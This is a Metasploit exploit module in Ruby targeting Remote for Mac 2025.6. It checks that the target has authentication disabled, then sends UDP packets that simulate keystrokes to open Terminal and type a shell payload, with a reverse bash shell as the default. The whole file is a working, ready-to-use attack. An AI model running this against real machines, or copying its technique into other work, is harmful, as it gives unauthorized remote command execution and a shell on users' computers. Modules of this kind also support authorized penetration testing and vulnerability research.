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require 'json'
require 'socket'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Remote for Mac 2025.6 Unauthenticated UDP Keyboard RCE',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability in Remote for Mac 2025.6.
When the "Allow unknown devices" setting is enabled, it is possible to simulate keyboard input via UDP packets
without authentication. By sending a sequence of key presses, an attacker can open the Terminal and execute
arbitrary shell commands, achieving code execution as the current user.
Tested on macOS Mojave and Ventura.
},
'Author' => ['Chokri Hammedi'],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://packetstorm.news/files/id/196351/']
],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
},
'Platform' => ['unix','osx'],
'Arch' => ARCH_CMD,
'Targets' => [['Remote for Mac 2025.6', {}]],
'DefaultTarget' => 0,
'DefaultPayload' => 'cmd/unix/reverse_bash',
'DisclosureDate' => '2025-05-27'
)
)
register_options(
[
Opt::RHOSTS(),
Opt::RPORT(49229),
OptBool.new('SSL', [true, 'Use SSL for HTTP check', true]),
OptString.new('TARGETURI', [true, 'Base URI path', '/']),
]
)
end
def check_auth_disabled?
protocol = datastore['SSL'] ? 'https' : 'http'
vprint_status("Checking authentication on #{protocol}://#{datastore['RHOSTS']}:#{datastore['RPORT']}#{datastore['TARGETURI']}api/getVersion")
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'api', 'getVersion'),
'ctype' => 'application/json',
'ssl' => datastore['SSL'],
'rport' => datastore['RPORT'],
'rhost' => datastore['RHOSTS']
})
if res&.code == 200
json = JSON.parse(res.body)
if json['requires.auth'] == false
print_good('Authentication is disabled. Target is vulnerable.')
return true
else
print_error('Authentication is enabled. Exploit aborted.')
return false
end
else
print_error('Unexpected response from target')
return false
end
rescue ::Rex::ConnectionError, JSON::ParserError => e
print_error("Connection or parsing error: #{e.message}")
return false
end
end
def exploit
unless check_auth_disabled?
fail_with(Failure::NotVulnerable, 'Target requires authentication or is unreachable')
end
udp_port = datastore['RPORT']
target_ip = datastore['RHOSTS']
initial_packets_hex = [
'07000200370001',
'07000200370001',
'060003002000',
'07000200370000',
'07000200370000'
]
final_packets_hex = [
'07000200240001',
'07000200240000'
]
udp_sock = UDPSocket.new
udp_sock.connect(target_ip, udp_port)
print_status('Simulating system keyboard input to open Terminal...')
initial_packets_hex.each do |hexpkt|
udp_sock.send([hexpkt].pack('H*'), 0)
select(nil, nil, nil, 0.05)
end
prefix = [0x06, 0x00, 0x03, 0x00].pack('C*')
'terminal'.each_char do |ch|
pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT')
udp_sock.send(pkt, 0)
select(nil, nil, nil, 0.1)
end
final_packets_hex.each do |hexpkt|
udp_sock.send([hexpkt].pack('H*'), 0)
select(nil, nil, nil, 0.1)
end
sleep(2)
shell_cmd = payload.encoded
print_status('Sending malicious payload to be executed...')
shell_cmd.each_char do |ch|
pkt = prefix + ch.encode('utf-16le').force_encoding('ASCII-8BIT')
udp_sock.send(pkt, 0)
select(nil, nil, nil, 0.1)
end
final_packets_hex.each do |hexpkt|
udp_sock.send([hexpkt].pack('H*'), 0)
select(nil, nil, nil, 0.1)
end
print_good('Payload sent. Awaiting session...')
ensure
udp_sock.close if udp_sock
end
end
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